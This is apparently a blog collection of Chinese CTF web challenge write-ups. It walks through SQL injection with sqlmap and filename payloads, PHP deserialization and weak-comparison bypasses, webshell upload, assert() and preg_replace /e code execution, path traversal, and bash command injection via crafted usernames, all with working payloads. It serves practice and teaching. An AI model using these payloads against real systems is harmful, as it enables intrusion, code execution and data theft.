ics-06(XCTF 4th-CyberEarth)

题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

进入题目后,发现访问index.php会被跳转到index.php?id=1 而且还有写送分题,尝试sql注入无果,原来是一道脑洞题。
爆破id至id=2333,即得到flag。
在这里插入图片描述

NewsCenter( XCTF 4th-QCTF-2018)

1、进入网站后,有一个搜索栏,抓包得:
在这里插入图片描述

2、怀疑serch为注入点,尝试sql注入。将报文保存下来,用sqlmap跑一下,发现可以直接出结果。

(1)python2 sqlmap.py -r 1.txt --dbs
在这里插入图片描述
(2)python2 sqlmap.py -r 2.txt -D "news" -T "secret_table" -C "fl4g,id" --dump
在这里插入图片描述
疑问
最后爆字段值的时候,如果只想得到fl4g列的字段会报错:
python2 sqlmap.py -r 2.txt -D "news" -T "secret_table" -C "fl4g" --dump
在这里插入图片描述
发现此时sqlmap用的payload是:
search=123' UNION ALL SELECT NULL,CONCAT(CONCAT('qqkqq','vvlrAdZPyMyCbSOJTgUbVOnivbMBieHDoFAFmACG'),'qjvbq'),NULL-- qMtC
再根据报错信息,原因应该是联合查询注入字段间编码不同无法显示内容问题
但是同时查询fl4gid

lottery(XCTF 4th-QCTF-2018)

打开题目先注册,然后发现flag可以购买。但得先去买彩票赢得足够的钱,七位数字的彩票,猜中的位数越多,赢得的钱越多,因此应该在买彩票这里出了一些漏洞。
在这里插入图片描述

1、首先访问目录robots.txt,存在.git泄露。
在这里插入图片描述

2、利用工具GitHack,得到网站源码:
在这里插入图片描述

3、进行代码审计,问题出现在api.php里的buy函数,这个函数就是用来判断是否猜中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function buy($req){
require_registered();
require_min_money(2);

$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums(); //中将号码由随机数函数生成
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){ //这里用的'=='弱比较来判断每一位数是否猜中
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
  • 其中 $numbers 来自用户json输入 {"action":"buy","numbers":"1234567"},没有检查数据类型。
  • 中奖号码$win_numbers 是随机生成的数字字符串。
  • 判断逻辑使用的是 PHP 弱类型松散比较,因此比较好绕过,以"1"为例,和TRUE,1,"1"都相等。

(4)由于 json 支持布尔型数据,因此可以抓包改包。

抓到的包如下:
在这里插入图片描述
改完数据之后:
在这里插入图片描述
这样改完之后,当函数在判断号码是否中奖时,每次都会判断ture是否等于某个随机数,这样只要随机数不是0,都将成功判断。
这样多发包几次,就可以赢得足够的钱来购买flag了:
在这里插入图片描述


NaNNaNNaNNaN-Batman(tinyctf-2014)

直接给了一个附件,里面是一段Javascript脚本,看起来有点奇怪,放在自己的环境里打开是一个输入框和一个提交按钮。
在这里插入图片描述

1
2
3
4
5
<script>
_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]); .splice(0,1)}}} \'<input id="c">< onclick=$()>Ok</ >\');delete _var ","docu.)match(/"];/)!=null=[" write( s[o%4] buttonif(e.ment';
for(Y in $=' ') with(_.split($[Y]))_=join(pop());
eval(_)
</script>

1、首先将最后的eval(_)改为console.log(_),并用浏览器上的控制台运行这段代码,发现变量_是一个函数:
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function $()
{
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o)
{
var a=document.write(s[o%4][0]);s[o%4].splice(0,1)
}
}
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _

2、审计代码,也就是在web100,也就是在一开始的输入框里输入的值要满足下面五个条件的判断才能执行下面的代码。

1
2
3
4
5
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null)
  • 输入的字符串长度必须为16个字符
  • 字符串的开头必须要匹配be0f23
  • 字符串的结尾必须要匹配e98aa
  • 字符串中要能匹配到233acc7be9

因为限制了字符串的长度,因此这里要利用重叠来构造长度为16且满足所有正则表达式的字符串。
构造如下:be0f233ac7be98aa

3、将上一步构造的字符串提交到那个输入框中,得到flag。
在这里插入图片描述
在这里插入图片描述


unserialize3

1、看名字就知道是一道反序列化的题目,打开网站看到:
在这里插入图片描述
2、将该类的对象序列化后为:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
每当序列化时都会执行__wakeup()函数,而这里明显需要绕过__wakeup()函数,通过CVE-2016-7124来绕过,简单来说就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

3、最终的payload:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
在这里插入图片描述

upload

1、进入题目,是一个上传界面,且只允许上传图片。在这里插入图片描述
2、因为是前端检验,直接上传shell.jpg,BurpSuite抓包改后缀为.php
在这里插入图片描述

3、连接shell,在上一次目录里发现flag.php
在这里插入图片描述

4、再传入pass=system('cat ../flag.php');,在源码里得到flag。
在这里插入图片描述


mfw(csaw-ctf-2016-quals)

1、进入题目,在About页面看到出题者使用了Git,再通过扫描目录确认存在Git泄露,利用GitHack工具得到源码。
在这里插入图片描述

2、源码里有flag.php文件,但是里面并没有flag,代码审计,在index.php里发现了问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//index.php
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// I heard '..' is dangerous!

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

....................html code

<?php
require_once $file;
?>

3、发现assert()函数里,有我们可控的参数$page,而且并没有进行过滤,**assert()函数在验证断言之前将其参数解释为PHP代码**。

因此构造如下payload') or system('cat ./templates/flag.php');//

这样,注入后的语句就变成了:

1
assert("strpos('templates/ ') or system('cat ./templates/flag.php');// .php', '..') === false") or die("Detected hacking attempt!");

//后面的语句则被注释掉了。

得到flag:
在这里插入图片描述


PHP2

1、进入题目后,界面如下:
在这里插入图片描述
说实话,我卡了很久无从下手,最后得知是访问index.phps页面,说是看源码,但我其实并没有看到什么…

2、访问index.phps,看到如下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

3、简单的代码审计,浏览器和代码都对传入的参数进行了对urldecode,因此只要对传入的admin进行两次urlencode
构造payload:index.php?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
在这里插入图片描述


FlatScience(Hack.lu-2017)

1、首先访问robots.txt页面,发现提示了有/login.php/admin.php两个页面。
在这里插入图片描述
2、在login.php中F12发现:
在这里插入图片描述
于是尝试?debug可以得到源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
ob_start();
?>
-------------------------------------
html code
-------------------------------------

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];

$db = new SQLite3('../fancy.db');

$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}

if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

数据库查询的语句为:

1
SELECT id,name from Users where name='$id' and password='sha1($pass."Salz!")'

通过POST接收usr和pw参数,没有做任何过滤,带入sql查询。若查询的结果id字段不为空,则执行setcookie操作,会将查询的结果name字段插入到cookie中。

上述语句中的$user是可控的,即login页面中id输入框中的内容,因此可以通过注入将后面的语句注释掉,这样子就可以进行注入。


upload(RCTF 2015)

1、先进入页面发现是一个登陆界面,注册账号进去之后是一个上传页面,上传一个文件之后会先返回成功上传并回显你的uid
在这里插入图片描述
然后再回到上传页面发现你上传的文件名会显示在页面上,这种情况判断是否由文件名导致xss或者文件名的注入,查看页面源码,发现文件名中的引号等符号会被转义,因此排除了xss。

并且通过回显的文件名可以判断,过滤了select,from等关键词(通过双写绕过),这样就明确了利用文件名进行注入。

2、注入可以有两种方式,即未知表的结构和已猜测到表的结构(某大佬writeup中)。

(1)当你不知道表的结构时,只能先大致推测后台的insert插入语句:
insert into 表名('filename',...) values('你上传的文件名',...);

这样可以构造下列文件名进行注入:
文件名'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg

拼接后的sql语句为:
...values('文件名'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg',...);

  • 这里hex()函数将字符串转换为16进制,而conv(str,16,10)则将str由16进制再转换为10进制
  • 然后利用了mysql的隐式类型转换,其实就是当字符串与整数相加时,会当作整数来解释,例如:
    在这里插入图片描述
  • 而之所以还要用到substr()是因为当查询的字符串太长时,转换为10进制就会用科学记数法来表示,这样就没办法再转换为字符串了,因此需要用substr()来将长字符串分段进行查询。
    在这里插入图片描述

通过这种方式,就可以一步步的查询到flag了。

全部payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
(1)查询数据库:
lethe '+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg
返回:
131277325825392 转16进制再转字符得:web_up

lethe'+(selselectect conv(substr(hex(database()),13,12),16,10))+'.jpg
返回:
1819238756 转16进制再转字符得:load

拼接起来得知数据库名为:web_upload

(2)然后查表:
lethe'+(seleselectct+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
返回:
114784820031327 转16进制再转字符得:hello_

lethe'+(seleselectct+conv(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg
返回:
112615676665705 转16进制再转字符得:flag_i

lethe'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg
返回:
126853610566245 转16进制再转字符得:s_here

拼接起来得知存放flag的表名为: hello_flag_is_here

(3)然后查这个表里有什么字段:

lethe'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
返回:
115858377367398 转16进制再转字符得:i_am_f

lethe'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg
返回:
7102823 转16进制再转字符得:lag

拼接起来得知存放flag的字段是:i_am_flag

(4)然后查询flag:

lethe'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
返回:
36427215695199 转16进制再转字符得:!!_@m_

lethe'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
返回:
92806431727430 转16进制再转字符得:Th.e_F

lethe'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg
返回:
560750951 转16进制再转字符得:!lag

拼起来之后得到flag: !!_@m_Th.e_F!lag

(2)第二种方式,当你已经猜出了表的结构得适合,那就很简单了,某位大佬的wp中写出了表的结构为:(filename,uid,uid)
先上传一个文件得到自己的uid:

这样就可以构造:
文件名','uid','uid'),((database()),'uid','uid')#.jpg

拼接后为:
...values ('文件名','uid','uid'),((database()),'uid','uid')#.jpg ','uid','uid');
即:
...values ('文件名','uid','uid'),((database()),'uid','uid')

这样再插入的时候就会多插入一列,这样就可以进行注入了。

如payload:lethe','1665','1665'),((database()),'1665','1665')#.jpg
在这里插入图片描述
最终payload:(我的uid为1665)

1
2
3
4
5
6
7
8
(1)查表名
lethe','1665','1665'),(( selselectect group_concat(table_name) frfromom information_schema.tables where table_schema = 'web_upload'),'1665','1665')#.jpg

(2)查列名
lethe','1665','1665'),(( seselectlect group_concat(column_name) frfromom information_schema.columns where table_name= 'hello_flag_is_here' ),'1665','1665')#.jpg

(3)查flag
lethe','1665','1665'),(( seselectlect i_am_flag frfromom hello_flag_is_here),'1665','1665')#.jpg

在这里插入图片描述


cat(XCTF 4th-WHCTF-2017)

1、进入页面,提示要求我们可以输入域名并进行请求,如下:

在这里插入图片描述

2、测试一下可以发现:

  • 正常 URL,返回 ping 结果
  • 非法 URL、特殊符号,返回 Invalid URL

3、这里Django调试模式打开了,发现如果在输入框中值包含url编码,在?url=中请求大于%7F的字符都会造成Django报错。

4、在url中输入?url=%80,可以得到报错页面:
在这里插入图片描述

5、报错信息非常多,大概看一下,可以发现环境信息:
在这里插入图片描述
可能觉得奇怪,是.php的页面,却报pythondjango debug错误,所以,判断是一个PHP调用Python的站。

比赛时给了提示:RTFM of PHP CURL===>>read the fuck manul of PHP CURL???

所以应该是PHP通过cURL向django的站发送数据,那边处理完再将数据传回。

那就看一下CURLmanul :
在这里插入图片描述
即使用@进行文件传递,如果文件内容中有上述超出编码范围的字符,就会产生报错信息,实际上包含中文就会报错。

6、于是就继续在刚才的报错信息里找找看有没有比较关键的信息文件,先考虑数据库相关的,搜索关键词sql,可以看到:
在这里插入图片描述

7、于是请求?url=@/opt/api/database.sqlite3,又发现报错信息,在报错信息中搜索关键词ctf就能看到flag。
在这里插入图片描述


ics-05(XCTF 4th-CyberEarth)

1、进入页面后发现大部分功能都是装饰没用的,只有“设备维护中心”的页面可以进去,发现url变成了index.php?page=index,并且页面上会显示index。
在这里插入图片描述

2、所以先考虑文件包含,很常用的payload了:
?page=php://filter/read=convert.base64-encode/resource=index.php,base64解码后得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
error_reporting(0);

@session_start();
posix_setuid(1000);

?>

--------------------------html code--------------------------

<?php

$page = $_GET[page];

if (isset($page)) {

if (ctype_alnum($page)) {
?>

<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />

<?php

}else{

?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php

if (strpos($page, 'input') > 0) {
die();
}

if (strpos($page, 'ta:text') > 0) {
die();
}

if (strpos($page, 'text') > 0) {
die();
}

if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />

<?php
}}


//方便的实现输å
¥è¾“出的功能,正在开发中的功能,只能å†
部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}

?>

3、简单审计一下代码,重点在最后一部分:

  • 首先要伪造X-Forwarded-For为127.0.0.1。

  • 然后要以GET方法传入patrepsub三个参数,这三个参数的值分别作为preg_replace()函数的参数preg_replace($pattern, $replacement, $subject)pattern为要搜索的模式,replacement为用于替换的字符串或字符串数组,subject要进行搜索和替换的字符串或字符串数组。

  • pattern参数可以使用一些PCRE修饰符,其中:
    在这里插入图片描述
    /e 修正符使 preg_replace()replacement参数当作 PHP 代码

4、这里我们三个参数都可控,那么构造payload:?pat=/Lethe/e&rep=system('cat s3chahahaDir/flag/flag.php')&sub=Lethe,同时伪造X-Forwarded-For,即可看到flag在源码中。
在这里插入图片描述


bug(RCTF-2015)

1、进入页面后首先按它的要求注册一个用户,登陆进去之后,发现Manage功能只有admin账户才能访问:
在这里插入图片描述

2、主界面除了登陆和注册以外,还可以通过注册是输入的Username、Birthday和Address进行密码找回,在自己的账户上发现还有Personal页面会显示注册时的信息,且url中会有此账号的uid,尝试将uid改为1,发现并不可以..
在这里插入图片描述

3、于是使用找回密码功能对自己的账户进行密码找回,输入正确的信息(中途发现三个信息只要正确两个,就可以修改密码了,于是尝试了对admin的Birthday进行爆破,但也无果…),正确输入信息后进入如下页面:
在这里插入图片描述

然后输入要修改的密码并抓包,尝试把Username改为admin,发现成功:
在这里插入图片描述

4、登陆admin账号,访问manager功能显示IP Not allowed!,将XXF伪造为127.0.0.1后即可
在这里插入图片描述
5、再源码中看到提示:?module=filemanage&do=???,有module想到do应该时upload,访问/index.php?module=filemanage&do=upload可以看到一个上传页面
在这里插入图片描述

6、这里不仅对后缀进行了黑名单过滤,同时会检查文件的开头内容,所以不能以<?php开头,可以用<script language="php"> ... php code... </script>来进行绕过,先以jpg后缀上传,抓包改后缀为php5php4,即可看到flag。
在这里插入图片描述


wtf.sh-150(csaw-ctf-2016-quals)

Get flag1

1、进入页面后,是一个类似论坛系统,先注册个账号(注册的时候随手测试一下,存在admin账户),还发现网页的后缀是.wtf

2、根据以往的思路,论坛系统+存在admin,应该就是想办法以admin登陆了呗,尝试一番未果,试了几个功能,注意到url的形式有/profile.wtf?user=../post.wtf?post=K8laH有点像文件包含,测试发现存在目录跳转,可以任意读取文件。
在这里插入图片描述

4、/post.wtf?post=../../发现所有的源码会被显示在网页上,搜索关键词flag:
在这里插入图片描述
源码如下,是一段bash脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
<head>
<link rel="stylesheet" type="text/css" href="/css/std.css" >
</head>
$ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"
$ then
$ local username=$(head -n 1 users/${URL_PARAMS['user']});
$ echo "<h3>${username}'s posts:</h3>";
$ echo "<ol>";
$ get_users_posts "${username}" | while read -r post; do
$ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");
$ echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>";
$ done
$ echo "</ol>";
$ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]
$ then
$ get_flag1
$ fi
$ fi
</html>

稍微看一下,发现果然是以admin身份登陆,就能拿到flag1了。

5、于是抓包一下注册的账户,发现Cookie中有Token字段,应该是要通过文件读取拿到admin的Token进行伪造登陆:
在这里插入图片描述
源码中还提到了/users目录,于是构造/post.wtf?post=../users即可读到:
在这里插入图片描述
伪造Cookie成功登陆,看到flag1:
在这里插入图片描述

Get flag2

参考:https://github.com/ernw/ctf-writeups/tree/master/csaw2016/wtf.sh

下面就要获取flag2了,现在就只有再看看获取到的源码,发现如下代码,前面说了网站的后缀是.wtf,解析wtf文件的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
max_page_include_depth=64
page_include_depth=0
function include_page {
# include_page pathname
local pathname=$1
local cmd=
[[ ${pathname(-4)} = '.wtf' ]];
local can_execute=$;
page_include_depth=$(($page_include_depth+1))
if [[ $page_include_depth -lt $max_page_include_depth ]]
then
local line;
while read -r line; do
# check if we're in a script line or not ($ at the beginning implies script line)
# also, our extension needs to be .wtf
[[ $ = ${line01} && ${can_execute} = 0 ]];
is_script=$;
# execute the line.
if [[ $is_script = 0 ]]
then
cmd+=$'n'${line#$};
else
if [[ -n $cmd ]]
then
eval $cmd log Error during execution of ${cmd};
cmd=
fi
echo $line
fi
done ${pathname}
else
echo pMax include depth exceeded!p
fi
}

由上述代码可知,.wtf扩展名的文件,内容若以$开头,即可执行后面的命令。

再在post_functions.sh文件中看到reply功能的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function reply {
local post_id=$1;
local username=$2;
local text=$3;
local hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
next_file=(posts/${post_id}/${next_reply_id});
echo "${username}" > "${next_file}";
echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
echo "${text}" >> "${next_file}";
# add post this is in reply to to posts cache
echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
}

在reply功能中,当你回复帖子时,会通过GET方式提交post参数传递帖子ID ,并且这个参数也存在目录遍历漏洞,这样就可以在我们想要的地方输出创建文件了。除此之外,该函数还会将用户名写入该文件中。

因此,我们可以注册一个以shell命令为用户名的账户,并使用reply功能将其写入创建的.wtf文件,就可以进行命令执行。

该函数还在文件的第一行写了用户名。因此,如果我们只是注册了一个包含有效shell命令的用户名,并将其写入以.wtf结尾的文件到我们可以访问该文件的目录中,那么就会给我们执行代码。发现users_lookup目录没有包含.noread文件,因此我们可以将.wtf文件写入users_lookup。

还有一点需要注意,在注册的时候,用户名中如果出现空格则会出现一些错误,可以用,进行绕过,因此注册用户名为:${find,/,-iname,get_flag2}的账户,在reply的时候抓包并修改post参数如下:
在这里插入图片描述
注意上面的%09为水平制表符,必须要加上,否则会将名称解释为目录名称。

然后访问/users_lookup/lethe.wtf得到:
在这里插入图片描述

最后,再注册一个用户名为$/usr/bin/get_flag2的账户,重复上述步骤即可。
在这里插入图片描述


web2(NSCTF)

1、进入题目后给出了一个加密函数的源码,思路也直接告诉你了,逆出解密函数,将密文解密出来即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
$_o=strrev($str);
// echo $_o;

for($_0=0;$_0<strlen($_o);$_0++){

$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>

(2)大概审计一些代码,加密流程并不复杂,即:反转字符串 => 每个字符的ASCII加1 => base64编码 => 反转字符串 => rot13编码

所以解密流程反着来就行了,即:rot13解码 => 反转字符串 => base64解码 => 每个字符的ASCII加1 => 反转字符串

(对rot13编码过的字符串在进行一次rot13编码即为解码)

解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//rot13解密=>字符串反转=>base64解密=>每个字符的ASCII减1=>反转字符串
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function decode($str){
$_o = base64_decode(strrev(str_rot13($str)));
for($_0=0;$_0<strlen($_o);$_0++){ //2.每个字符ascii+1

$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
return strrev($_);
}

echo decode($miwen);
?>

得到:
在这里插入图片描述